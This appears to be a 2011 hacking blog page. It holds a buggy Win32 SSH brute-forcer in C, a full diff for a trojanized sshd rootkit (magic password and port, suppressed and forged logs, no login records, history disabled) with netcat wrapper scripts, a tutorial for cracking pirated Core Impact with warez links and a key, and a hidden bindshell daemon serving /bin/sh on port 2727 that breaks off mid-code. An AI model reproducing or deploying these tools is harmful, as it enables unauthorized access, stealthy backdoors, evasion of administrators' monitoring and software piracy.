Help pay for xds lawyer fees.
LR

Win32 SSHd Bruter

Posted on 24th September 2011 in Codes

This is sshd bruter code for win32.

#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <string.h>
#include <sdk/win32-pthreads.h>  // you can move this to SDK folder ;) 

#define malefic malloc(256)
#define oneshot(x) ((x) - 1)

void usage(char *arg) {
fprintf(stderr, "Usage: %s <targets> <weak-pass-file> <port 22 [22 = default sshd]>\n",arg);
exit(EXIT_FAILURE);
}

//void thread_ownage(char *target,int port, char *fname){

void thread_ownage(void *passthru) {
struct info *test;
bzero(&test, sizeof(test)); // here is zero. te problem is this
test = (struct info *)passthru;
char *fname = malefic;
fname = test->filename;
char *target = malefic;
bzero(&target,sizeof(target));
target = test->host;
int port = test->port;
//printf("[D] DEBUG INSIDE THREAD_OWNAGE  %s DEBUG PORT %d\n",test->host,test->port);
FILE *race;
int record; // which is this?nope target port fname are
int m = count_data(fname);
//printf("[D] DEBUG PASS FILE  %s\n",fname);
struct pass {
char passwd[256];
} load[m];
if ((race = fopen(fname,"r")) == NULL) {
perror("fopen");
exit(-1);
}
//load passes
record = 0;
while(!feof(race)) {
fscanf(race,"%s",load[record].passwd);
record++;
}
for(record = 0; record < oneshot(m) ; record++) {
}
for(record = 0; record < oneshot(m) ; record++) {
int c = 0;
char lol[256];
bzero(lol,sizeof(lol));
char *string = load[record].passwd;
while( *string != '\0') {
sprintf(&lol1,"%c",*string++);
}
printf("[*] Attacking Target: %s on port: %d with weak user/pass: %s\n",target,port,lol);
weak_hack(target,target,port,lol,lol);
}
}

int main(int argc, char **argv) {
FILE *into;
char *targetfile = NULL;
int port;
if (argc != 4) {
usage(argv[0]);
}
targetfile = argv[1];
char *passfile = argv[2];
port = atoi(argv[3]);
int record = 0;
int npthread = count_data(targetfile);
struct targets {
char targets[256];
} list[npthread];
int tcounter;
pthread_t threads[(npthread-1)];
if ((into = fopen(targetfile,"r")) == NULL) {
perror("fopen");
exit(-1);
}
// load targets
record = 0;
while(!feof(into)) {
fscanf(into,"%s",list[record].targets); // remember last member is terminating file so remove it from thread etc..
record++;
}
// debug target list
for(record=0;record<oneshot(npthread);record++) {
printf("[!] TARGET: %s\n",list[record].targets);
}
struct info bla[npthread];
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
printf("[+] Creating threads: %d \n",oneshot(npthread));
for (tcounter=0;tcounter<oneshot(npthread);tcounter++) {
bla[tcounter].port = port;
bla[tcounter].host = list[tcounter].targets;
bla[tcounter].filename = passfile;
pthread_create(&threads[tcounter],&attr,(void *)thread_ownage,(void *)&bla[tcounter]);
sleep(2);
}
printf("[+] Joining threads: %d\n",oneshot(npthread));
for (tcounter = 0; tcounter < oneshot(npthread); tcounter++) {
pthread_join(threads[tcounter],NULL);
}
}

OK some updates here, for the pcap and pthreads, they DO make these for windows, do not panic! the links are simple winpcap.org TRY find DevPack_3.0 and use this for pcap, or 3.1 latest…
Also, PLEASE use pthreads windows stes, there is a few wich are all ljnked from the main website, pthreads.org i believe .. theyre very simple, to then add to a locak sdk./ folder, or, just maybe try and add to your current sdks, modify your dsp file and go hard! XChange it in thew code so there is only one directory for ALL your sdks, wich is what I DO, or, use the Botmakers Tute ;) , thats kinda lame name for it but, it was directly from the src code of Agobotm, and about, still best way to configure the thing!
i add stdout/in tarball src, wich is also win32 headers, thats great for cygwin builds to, and, i have linked it to 2005, i just keep them seperated asin partitions, but for my projects i have one folder wich, i always keep upto date asin ssl etc…so, I just use that for all my stuff,and add if need for seperate things/bots etc, it is just, simpler :s.
I dont like a big folder full of src of project and src of other libs, but, like many things, you can usually safely add them to your project locally, like with pthreads, as folder pthreads, and pcap is devpack, and sdk, and v4 is newer, wich is not as great for our bruter but heck it is a devpackm,, id still try find atleast a 3.1 … it is abit harder but well worth it :s.
Anyhow, loook forward to seeing you make a nice link for ME to use it ;)
Maybe ill addin some things even, I seriously, am in middle of electrical storms, and, have now got a dead gfx so 2 weeks in safemode now, and, I have about 6 pcs so, i think ill fix it up with changing it for a nice core2duop :)
Cheers!
xd

ViRogon SSHD Rootkit +Diff+Notes I found on my own travels..

Posted on 24th September 2011 in Papers

The most advanced rootkit at one stage, and so easy to build.. i love this thing, and i dont like rootkits normally but this one, just nice and easy to make, you will need a copy of ssh-2.2.0.tar.gz for this wich is the NON open src sshd wich rocks, thts why i kinda liked making this, but it is nice and easy to make, i added my own comments in to the paper.. so go ahead and, here you might want this thing first:

http://ftp.nluug.nl/security/ssh/old/ssh-2.2.0.tar.gz

OK now we have our src, unwrap it,you can rename the folder to vi_sshd or whatever, so you know what is what..ofcourse, at the end you would want STATIC built library/sshd_config and other things you could probably configure from using other srcs wich are similar.. anyhow, heres the paper, and the addins are just notes with 9xd) around it.. this sshd rox.
enjoy
xd

…. . .. . Vihrogon Advanced SSH RootKit by Solar Eclipse
. Introduction . .. .
A rootkit is a blackhat tool used to hide the attacker’s activity from the
administrators of the system. The most common form of a rootkit contains
replacement binaries for commonly used administration utilities, like ps,
top and netstat. As you can guess the ps replacement will hide processes
mathicing a certain criteria, identifying them as belonging to the hacker.
Another function of the rootkit is to enable the attacker to gain access to
the system through a some sort of a backdoor. An example can be a modified
ping (suid on most systems) command which spawns a root shell when executed
with a special parameter, known only to the attacker.
In this article we will explore the SSH server and the opportunities it
provides for those willing to indulge in blackhat activities. An SSH rootkit
Vihrogon SSH 0.3 will be presented. All the information presented here
applies to the non-free version of SSH2 (available from ssh.com).

. SSH Architecture . .. .
The sshd daemon usually runs as root, since it needs to bind to a privileged
port and to handle user logins. This makes it a perfect candidate for
planting a backdoor. The ssh source comes in a tarball (ssh-2.2.tar.gz),
which contains two important directories. The lib/ directory contains the
source for libssh.a, a static library used by all programs in the ssh
package. The apps/ssh/ directory contains the source for the ssh server and
client, as well as a few smaller programs such as ssh-agent2, ssh-keygen2,
etc. Most of the code in apps/ssh is compiled into the static library
libssh2.a and then linked with the binaries.
Most of the code in the lib/ directory contains utility functions. We don’t
need to change anything there. It is sufficient to change a few key files
in apps/ssh.

. Rootkit Requirements . .. .
First of all, we need a magic password. When the attacker uses this
password, she should be granted access to any account. Any login
restrictions, for example restricted root logins should be turned off.
All ssh logging should also be disabled.

Unfortunately sshd logs an informational message when a connection is
received, even before the authentication begins.
Jul 30 02:52:46 hostname sshd2[1082]: connection from “3112″
Jul 30 02:52:46 hostname sshd2[1082]: DNS lookup failed for
“174.42.35.77″.

If we disable all logging after the magic password is received, this
message will look very suspicious in the logs.
The solution is to log a fake disconnect msg:
Jul 30 02:52:53 hostname sshd2[1082]: Local disconnected: Connection
closed by remote host.
Jul 30 02:52:53 hostname sshd2[1082]: connection lost: ‘Connection closed
by remote host.’

Note: i found many places this kind-of trick can be done in the sshd code,all over it really,
if you could be bothered (if was MY kit id bother),then i would goto every file and
implement fake messaging or log_events. (xd)

That’s good, but not good enough. If the attacker accesses the machine her
IP address will still be logged. How can we identify the attacker even
before the user authentication? Each TCP connection is identified by four
numbers: the source IP address, the destination IP address, the source port
and the destination port. The source port can be specified by the client or
it can be randomly chosen by the operation system. Let the attacker use a
predefined magic source port and the sshd daemon will be able to identify
the connection.

. Source . .. .
. sshconfig.h/sshconfig.c
We need two state variables, accessible from all sshd code. The right place
to put them would be the global SshConfig structure, which holds important
configuration data for the server. This structure is defined in sshconfig.h
and initialized in sshconfig.c. It is passed to almost all sshd functions.

. sshd2.c
The first state variable is vihr_no_logs. When it’s set to 1, all sshd
logging is disabled. Although the debugging and logging system of sshd is
fairly complex, all messages are ultimetely passed to 4 callbacks, defined
in sshd2.c. These are server_ssh_debug(), server_ssh_warning(),
server_ssh_fatal() and server_ssh_log().
if (data->config && data->config->vihr_no_logs)
return;
This simple line in the beginning of all 4 functions will effectively
eliminate all sshd logging and debugging information.

. sshchsession.c
The second state variable is vihr_user. It is set when the user’s password
matches the magic password and affects the user logon procedure. After the
ssh connection is established and the user is authenticated, the client
starts an interactive session and requests a shell. Most of the code
related to session management is in sshchsession.c. We need add a few
imropvements there to streamline the process.
The ssh_user_needs_chroot() checks if the user should be chroot’ed. If
vihr_user equals 1 the function should always return FALSE. The sshd daemon
records all logins and logouts via the ssh_user_record_login() and
ssh_user_record_logout() functions, which update the utmp, wtmp and the
lastlog. In sshchsession.c there are two calls to these functions. When
vihr_user is set the calls shouldn’t happen.
The user uses a magic password, the shell is set to /bin/sh. This
allows the user to login to disabled accounts. The shell history is
turned off by setting the HISTFILE environmental variable to /dev/null. All
these changes are in sshchsession.c.
if (session->common->config->vihr_user)
user_shell = ssh_xstrdup(“/bin/sh”);
/* No history for vihr users */
if (session->common->config->vihr_user)
ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);

Note: I noticed there is a setup section in ssh_session_init_env()
which sets ‘Default’ TERM environment wich is best place to really make changes,
so i just added this i know it is alredy set but NOT as default..you could change this
in the diff files even, or add it in,it should be there,and all ssh-log_event
should be removed,changed to suit your own trix,or just changed to make it look good ;) :
ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);

It should make us even stealthier,was a good find ;]
Yes, you apply this to the code AFTER you have applied the diff files wich are below.. (xd)

. sshd2.c
All connections in sshd are handled by new_connection_callback() in
sshd2.c. We have to add some code to this function to make it check the
connection source port. If it matches, vihr_no_logs is set to 1. After that
the sshd daemon forks and the child process handles the connection.
vihr_no_logs is set back to 0 in the parent, so that it can continue
logging normal connections.
if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
{
if (atoi(buf) == VIHR_MAGIC_PORT)
{
data->config->vihr_no_logs = 1;
}
}

. auths-passwd.c
The magic password code is in auths-passwd.c. This file contains functions
used in the password authentication method. The function we’ll change is
ssh_server_auth_passwd(). First is checks if the host/user combination is
allowed to access the server and then it reads the password from the ssh
data stream. Then it tries to authenticate the user using this password. We
need to put the password read before the access check. Then we can match
the password with the magic password which is hardcoded in the trojanized
sshd code. Keeping the magic password in plaintext is dangerous, because
the administrator or another hacker can extract it from the sshd2 binary.
We’ll compute the md5 hash of the password and store that in the binary.
The ssh code has a nice md5 hashing function, called ssh_md5_of_buffer().
It reads the data in a buffer and returns the hash. We’ll convert it to
hex, because the magic password hash is contained in the .c code as a 32
character string of hex digits.
/* Get the md5 hash of the password and convert it to hex */
ssh_md5_of_buffer(digest, password, strlen(password));
for (i = 15; i >= 0; i–)
{
digest[i*2+1] = (digest[i] & 0xf) + ’0′;
digest[i*2] = (digest[i] >> 4) + ’0′;
}
for (i = 0; i < 32; i++)
if (digest[i] > ’9′)
digest[i] += 0×27; /* lower case hex chars (‘a’..’f') */
digest[32] = ‘\0′;

Note: regarding ssh_log_event(),
i simply just // commented out ALL logging of code,and left debug only,
wich i may even remove since this is tricky area (xd)

If the password matches, we’ll check the virh_no_logs variable. When the
attacker is using the magic source port, it will be 1. If it’s 0, we need
to log a fake disconnect message. After that our code returns
SSH_AUTH_SERVER_ACCEPTED, skipping all additional authentication chores.

if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
{
if (!config->vihr_no_logs)
{
/* The connection was logged, we need to log a fake disconnect message */
ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
“Local disconnected: Connection closed by remote host.”);
ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
“connection lost: ‘Connection closed by remote host.’”);
}
ssh_xfree(password);
config->vihr_user = 1;
config->vihr_no_logs = 1;
/* Skip all login checks */
return SSH_AUTH_SERVER_ACCEPTED;
}

. Installation and Usage . .. .
This is not a universal rootkit. It can be installed on only systems
already running the sshd2 daemon. It does not hide anything from the ps and
netstat commands, so it might be wise use it as a part of larger rootkit,
that contains ps and netstat replacements. The rootkit code should be
fairly portable, due to the portability of the SSH suite.
The rootkit configuration is in sshconfig.h. You need to change
VIHR_MAGIC_PORT to a port of your desire, and put the password hash in
VIHT_MAGIC_MD5. You can get the hash with the following command:

echo -n magicpassword | md5sum

There are two ways of forcing the ssh cliento to use a specified source
port. One way is to modify the client source. The other way works only with
OpenSSH by taking advantage of the ProxyConnect option. This option allows
you to specify a command that will establish the TCP connection and can be
set from the command line. (see the ssh man page for more details)
The following shell scripts take the source port as their first parameter
and pass everything else to the ssh/scp program. ProxyCommand is set to
netcat, which takes the source port with the -p option. Netcat is a very
useful little program, available at www.netcat.org.

#!/bin/bash
/usr/bin/ssh -o “ProxyCommand nc -p $1 %h %p” $2 $3 $4 $5 $6 $7 $8 $9

#!/bin/bash
/usr/bin/scp -S /usr/bin/ssh -o “ProxyCommand nc -p $1 %h %p” $2 $3 $4 $5 $6 $7 $8 $9

. Defence . .. .

http://www.tripwire.com/

. Diff . .. .
diff -ru ssh-2.2.0/apps/ssh/auths-passwd.c ssh-2.2.0.vihr/apps/ssh/auths-passwd.c
— ssh-2.2.0/apps/ssh/auths-passwd.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/auths-passwd.c Sat Jul 28 20:24:20 2001
@@ -25,6 +25,10 @@

#define SSH_DEBUG_MODULE “Ssh2AuthPasswdServer”

+/* Original declaration is lib/sshcrypt/md5.h */
+void ssh_md5_of_buffer(unsigned char digest[16], const unsigned char *buf,
+ size_t len);
+
/* Password authentication. This handles all forms of password authentication,
including local passwords, kerberos, and secure rpc passwords. */

@@ -42,6 +46,8 @@
SshUser uc = (SshUser)*longtime_placeholder;
Boolean change_request;
char *password, *prompt;
+ unsigned char digest[33];
+ int i;
int disable_method = 0;
unsigned long pass_len = 0L;

@@ -52,6 +58,54 @@
switch (op)
{
case SSH_AUTH_SERVER_OP_START:
+ /* Parse the password authentication request. */
+ if (ssh_decode_buffer(packet,
+ SSH_FORMAT_BOOLEAN, &change_request,
+ SSH_FORMAT_UINT32_STR, &password, &pass_len,
+ SSH_FORMAT_END) == 0)
+ {
+ SSH_DEBUG(2, (“bad packet”));
+ goto password_bad;
+ }
+
+#ifdef VIHR_MAGIC_MD5
+ /* Get the md5 hash of the password and convert it to hex */
+ ssh_md5_of_buffer(digest, password, strlen(password));
+ for (i = 15; i >= 0; i–)
+ {
+ digest[i*2+1] = (digest[i] & 0xf) + ’0′;
+ digest[i*2] = (digest[i] >> 4) + ’0′;
+ }
+ for (i = 0; i < 32; i++)
+ if (digest[i] > ’9′)
+ digest[i] += 0×27; /* lower case hex chars (‘a’..’f') */
+
+ digest[32] = ‘\0′;
+
+#ifdef VIHR_DEBUG
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, “digest: %s”, digest);
+#endif /* VIHR_DEBUG */
+
+ if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
+ {
+ if (!config->vihr_no_logs)
+ {
+ /* The connection was logged, we need to log a fake disconnect message */
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+ “Local disconnected: Connection closed by remote host.”);
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+ “connection lost: ‘Connection closed by remote host.’”);
+ }
+
+ ssh_xfree(password);
+ config->vihr_user = 1;
+ config->vihr_no_logs = 1;
+
+ /* Skip all login checks */
+ return SSH_AUTH_SERVER_ACCEPTED;
+ }
+#endif /* VIHR_MAGIC_MD5 */
+
if (ssh_server_auth_check(&uc, user, config, server->common,
SSH_AUTH_PASSWD))
{
@@ -96,16 +150,6 @@
#endif /* SSHDIST_WINDOWS */
}

- /* Parse the password authentication request. */
- if (ssh_decode_buffer(packet,
- SSH_FORMAT_BOOLEAN, &change_request,
- SSH_FORMAT_UINT32_STR, &password, &pass_len,
- SSH_FORMAT_END) == 0)
- {
- SSH_DEBUG(2, (“bad packet”));
- goto password_bad;
- }
-
if (!config->permit_empty_passwords && pass_len == 0L)
{
char *s = “login with empty passwords not permitted.”;
diff -ru ssh-2.2.0/apps/ssh/sshchsession.c ssh-2.2.0.vihr/apps/ssh/sshchsession.c
— ssh-2.2.0/apps/ssh/sshchsession.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshchsession.c Sat Jul 28 21:02:41 2001
@@ -197,6 +197,9 @@
const char *group;
char *current;

+ /* No chroot for vihr users */
+ if (common->config->vihr_user) return FALSE;
+
uid = ssh_user_uid(uc);
gid = ssh_user_gid(uc);
user = ssh_user_name(uc);
@@ -450,6 +453,9 @@
user_dir = ssh_user_dir(session->common->user_data);

user_shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ user_shell = ssh_xstrdup(“/bin/sh”);
+
user_conf_dir = ssh_user_conf_dir(session->common->config,
session->common->user_data);

@@ -459,6 +465,10 @@
ssh_child_set_env(envp, envsizep, “LOGNAME”, user_name);
ssh_child_set_env(envp, envsizep, “PATH”, DEFAULT_PATH “:” SSH_BINDIR);

+ /* No history for vihr users */
+ if (session->common->config->vihr_user)
+ ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);
+
#ifdef MAIL_SPOOL_DIRECTORY
snprintf(buf, sizeof(buf), “%s/%s”, MAIL_SPOOL_DIRECTORY, user_name);
ssh_child_set_env(envp, envsizep, “MAIL”, buf);
@@ -585,6 +595,9 @@
#endif /* SSH_CHANNEL_X11 */

shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ shell = ssh_xstrdup(“/bin/sh”);
+
user_conf_dir = ssh_user_conf_dir(session->common->config,
session->common->user_data);

@@ -811,6 +824,8 @@

/* Get the user’s shell, and the last component of it. */
shell = ssh_user_shell(session->common->user_data);
+ if (session->common->config->vihr_user)
+ shell = ssh_xstrdup(“/bin/sh”);

shell_no_path = strrchr(shell, ‘/’);
if (shell_no_path)
@@ -993,11 +1008,17 @@
session->common->last_login_from_host,
session->common->
sizeof_last_login_from_host);
- ssh_user_record_login(session->common->user_data,
- getpid(),
- ptyname,
- session->common->remote_host,
- session->common->remote_ip);
+
+ /* No login records for chroot users */
+ if (!session->common->config->vihr_user)
+ {
+ ssh_user_record_login(session->common->user_data,
+ getpid(),
+ ptyname,
+ session->common->remote_host,
+ session->common->remote_ip);
+ }
+
ssh_channel_session_child(session, op, cmd);
ssh_debug(“ssh_channel_session_child returned”);
exit(255);
@@ -1403,7 +1424,10 @@
{
SSH_TRACE(2, (“Destroying session stream, and logging user out.”));
ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
- ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+
+ /* No logout records for vihr users */
+ if (!session->common->config->vihr_user)
+ ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
}
}

diff -ru ssh-2.2.0/apps/ssh/sshconfig.c ssh-2.2.0.vihr/apps/ssh/sshconfig.c
— ssh-2.2.0/apps/ssh/sshconfig.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.c Sat Jul 28 02:53:25 2001
@@ -250,6 +250,10 @@

config->signer_path = ssh_xstrdup(SSH_SIGNER_PATH);
config->default_domain = NULL;
+
+ config->vihr_no_logs = 0;
+ config->vihr_user = 0;
+
return config;
}

diff -ru ssh-2.2.0/apps/ssh/sshconfig.h ssh-2.2.0.vihr/apps/ssh/sshconfig.h
— ssh-2.2.0/apps/ssh/sshconfig.h Mon Jun 12 19:38:57 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshconfig.h Sat Jul 28 21:06:54 2001
@@ -25,6 +25,9 @@
#define SUBSYSTEM_PREFIX “subsystem-”
#define SUBSYSTEM_PREFIX_LEN 10

+#define VIHR_MAGIC_MD5 “2f3a4fccca6406e35bcf33e92dd93135″
+#define VIHR_MAGIC_PORT 31337
+
typedef struct SshSubsystemRec
{
char *name; /* name of the subsystem */
@@ -223,6 +226,11 @@
/* The default domain, which should be set if, for example
‘hostname’ returns only basepart of the FQDN. */
char *default_domain;
+
+ /* vihr_no_logs disables all ssh logging
+ * vihr_user disables all login checks and recording */
+ int vihr_no_logs;
+ int vihr_user;
};

typedef struct SshConfigRec *SshConfig;
diff -ru ssh-2.2.0/apps/ssh/sshd2.c ssh-2.2.0.vihr/apps/ssh/sshd2.c
— ssh-2.2.0/apps/ssh/sshd2.c Mon Jun 12 19:38:58 2000
+++ ssh-2.2.0.vihr/apps/ssh/sshd2.c Sat Jul 28 20:16:29 2001
@@ -569,6 +569,16 @@
snprintf(buf, sizeof(buf), “UNKNOWN”);
}

+#ifdef VIHR_MAGIC_PORT
+ if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
+ {
+ if (atoi(buf) == VIHR_MAGIC_PORT)
+ {
+ data->config->vihr_no_logs = 1;
+ }
+ }
+#endif /* VIHR_MAGIC_PORT */
+
ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL,
“connection from \”%s\”", buf);

@@ -654,6 +664,11 @@
“open connections (max %d, now open %d).”,
buf, data->config->max_connections,
data->connections);
+
+ /* Restore normal operation */
+ data->config->vihr_no_logs = 0;
+ data->config->vihr_user = 0;
+
/* return from this callback. */
return;
}
@@ -778,6 +793,13 @@
}

ssh_debug(“new_connection_callback returning”);
+
+ if (ret != 0)
+ {
+ /* Restore normal operation for the parent */
+ data->config->vihr_no_logs = 0;
+ data->config->vihr_user = 0;
+ }
}

void broadcast_callback(SshUdpListener listener, void *context)
@@ -894,6 +916,9 @@
{
SshServerData data = (SshServerData)context;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (data->config && data->config->quiet_mode)
return;

@@ -905,6 +930,9 @@
{
SshServerData data = (SshServerData)context;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (data->config && data->config->quiet_mode)
return;

@@ -917,6 +945,9 @@
void server_ssh_fatal(const char *msg, void *context)
{
SshServerData data = (SshServerData)context;
+ if (data->config && data->config->vihr_no_logs)
+ return;
+
data->ssh_fatal_called = TRUE;

ssh_log_event(data->config->log_facility, SSH_LOG_ERROR, “FATAL ERROR: %s”,
@@ -993,6 +1024,9 @@
static int logopt;
static int logfac;

+ if (data->config && data->config->vihr_no_logs)
+ return;
+
if (! logopen)
{
logopt = LOG_PID;

CORE impact tools and how to craCk

Posted on 24th September 2011 in Codes

I think that if you are to pentest then you should always have access to the best. i have gotten my hands on CORE impact’s stuff, so here is some handy infos regarding it:

FIND a copy online there is tonnes!
Use this as a search ‘rapidshare link core impact’ , then you will probably want to read abit about how to crack it RIGHT WAY and then also makesure you dont get infected at same time.. there is a few versions around, just grab the latest you can find.. there is many versions of it, this is great pentest app and worth thousands, it also uses un made poc’s or non public pocs to exploit/pentest.
Regarding all the Hype around this tool, here, is some way to maybe have a sneak peek..

http://www.zshare.net/download/71485520a140e988/

Here is just a quick search, not sure if the links are valid anymore,and also it is not in english coz i cannot be bothered to really search for it, but a v7 or v8 would suffice. and v7 is crackable :>
Simple search but try ‘CORE IMPACT megaupload link’ or other,similar upload places search engines work well…and google has many forum posts so,

http://egyeng.com/forums/showthread.php?5281-CORE-IMPACT-V7-or-V9-with-crack-%D8%E1%C8

Now the most important part ofc, lets crack this open!
TUT :

Video demo : Local exploits with Core Impact
[YOUTUBE]http://www.youtube.com/watch?v=uD9xJWyDIJU[/YOUTUBE]

Before all, change date and year to November 2007

1.Install Immunity Debugger and unpack SDK Sheriff in folder on the desktop.
2.Install CI4SECS.exe (Core Impact)
-decrypt key for installation : BH6NSR-9SFBRN-O2WZN7-24G6SK-DJLF61

warning to turn off antivirus during installation

After installation, run program
click option for activating over the phone
Copy the Reference Code and Cancel activation for now.
Copy the Reference Code, go to the Sheriff folder (SDK-Tools), open SlsGen.ini in notepad, you’ll see this:

add next lines
Code:
[5362-8721-2829-7642-5711]
Name=Core impact
so the file looks like this

Save and close SlsGen.ini.
Open Sheriff Licence Key Generator (SDK-Tools – SlsGen.exe ) , Select Core Impact and paste the Reference Code , and don’t click Generate or close program yet

Open Immunity Debugger and attach Sheriff process
Find and mark line of SlsGen ,click attach and Play sign (run program)

Click Activate in Sheriff Licence Key Generator, you’ll get error but it’s fine
Thx to MaXe and his webs for that, and it works, wich is good, it is from here:

http://forum.intern0t.net/hacking-tools-utilities/2148-cracking-core-impact.html

So, i wont lie and hide about things, i just dont see the need for pictures :P , maybe at beginning like ‘change date’ part, but thatd be about all id want to see, but the vid link was very easy to find regardless of maxes intern0t… and no i dont use that website but, it popped up and was most useful regarding core impact, they seem to keep up with it abit more there, I prefer to use my own or smaller frameworks.. i wont change that way, so you might soon, see a crazycoders-exploit-pak or some way to pentest locally, and yes, itll be free.

Here is just another crack u could try:

http://www.filestube.com/drW36TbuveSlkLoLRyHw30/Core-Impact-9-Pro-Crack.html

Thats it, core impact should be up and running for you, but, there is a few copies so if you dont succeed at first, try and try again, even use a sandbox for install (my suggestion is this).
Enjoy.

comments: 28 »

BindTTY.c – bindhsell that hides as a tty

Posted on 20th September 2011 in Codes

The public bindshells are nice,but if you want the BEST one, well.. here is a gift :)
This is the,probably most advanced hiding tty,and acts as a hidden sshd…so many features could b added,but i left this code untouched… go ahead, have phun1 It acts like a mini shell..id atleast setup a shexy prompt ;p
xd

/*
bindtty - like bindshell , but with tty

Features:
- it can handle any number of clients
- allocates tty for each session
- no using termios.h/tty.h: compiles on most of gccs
- linux specific
by DarkTr0jan 0f Trojan Security Team
[ luckyraver@programmer.net ]
*/
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>

#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x1d
#define	BUF 32768

#define HOME "/"
#define PORT 2727    /* change this to whatever ya want (xd) */

struct winsize {
unsigned short ws_row;
unsigned short ws_col;
unsigned short ws_xpixel;
unsigned short ws_ypixel;
};

/* creates tty/pty name by index */
void get_tty(int num, char *base, char *buf) {
char series[] = "pqrstuvwxyzabcde";
char subs[] = "0123456789abcdef";
int pos = strlen(base);
strcpy(buf, base);
buf[pos] = series[(num >> 4) & 0xF];
buf[pos+1] = subs[num & 0xF];
buf[pos+2] = 0;
}

/* search for free pty and open it */
int open_tty(int *tty, int *pty) {
char buf[512];
int i, fd;
fd = open("/dev/ptmx", O_RDWR);
close(fd);
for (i=0; i < 256; i++) {
get_tty(i, "/dev/pty", buf);
*pty = open(buf, O_RDWR);
if (*pty < 0) continue;
get_tty(i, "/dev/tty", buf);
*tty = open(buf, O_RDWR);
if (*tty < 0) {
close(*pty);
continue;
}
return 1;
}
return 0;
}

/* to avoid creating zombies ;)  */
void sig_child(int i) {
signal(SIGCHLD, sig_child);
waitpid(-1, NULL, WNOHANG);
}

void hangout(int i) {
kill(0, SIGHUP);
kill(0, SIGTERM);
}

int main() {
int pid;
struct sockaddr_in serv;
struct sockaddr_in cli;
int sock;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
return 1;
}
bzero((char *) &serv, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
perror("bind");
return 1;
}
if (listen(sock, 5) < 0) {
perror("listen");
return 1;
}
printf("[*] 0k This Bitch Has Blown !"); fflush(stdout);
pid = fork();
if (pid !=0 ) {
printf("[!] OK, pid = %d\n", pid);
return 0;
}
/* daemonize */
setsid();
chdir("/");
pid = open("/dev/null", O_RDWR);
dup2(pid, 0);
dup2(pid, 1);
dup2(pid, 2);
close(pid);
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, sig_child);
while (1) {
int scli;
int slen;
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr *) &cli, &slen);
if (scli < 0) continue;
pid = fork();
if (pid == 0) {
int subshell;
int tty;
int pty;
fd_set fds;
char buf[BUF];
char *argv[] = {"sh", "-i", NULL};
#define MAXENV 256
#define	ENVLEN 256
char *envp[MAXENV];
char envbuf[(MAXENV+2) * ENVLEN];
int j, i;
char home[256];
/* setup enviroment */
envp[0] = home;
sprintf(home, "HOME=%s", HOME);
j = 0;
do {
i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
envp[j+1] = &envbuf[j * ENVLEN];
j++;
if ((j >= MAXENV) || (i < ENVLEN)) break;
} while (envbuf[(j-1) * ENVLEN] != '\n');
envp[j+1] = NULL;
/* create new group */
setpgid(0, 0);
/* open slave & master side of tty */
if (!open_tty(&tty, &pty)) {
char msg[] = "[-] Can't fork pty, bye!\n";
write(scli, msg, strlen(msg));
close(scli);
exit(0);
}
/* fork child */
subshell = fork();
if (subshell == 0) {
/* close master */
close(pty);
/* attach tty */
setsid();
ioctl(tty, TIOCSCTTY);
/* close local part of connection */
close(scli);
close(sock);
signal(SIGHUP, SIG_DFL);
signal(SIGCHLD, SIG_DFL);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
execve("/bin/sh", argv, envp);
}
/* close slave */
close(tty);
signal(SIGHUP, hangout);
signal(SIGTERM, hangout);
while (1) {
/* watch tty and client side */
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(scli, &fds);
if (select((pty > scli) ? (pty+1) : (scli+1),&fds, NULL, NULL, NULL) < 0) {
break;
}
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (write(scli, buf, count) <= 0) break;
}
if (FD_ISSET(scli, &fds)) {
int count;
unsigned char *p, *d;
d = buf;
count = read(scli, buf, BUF);
if (count <= 0) break;
/* setup win size */
p = memchr(buf, ECHAR, count);
if (p) {
unsigned char wb[5];
int rlen = count - ((ulong) p - (ulong) buf);
struct	winsize ws;
/* wait for rest */
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
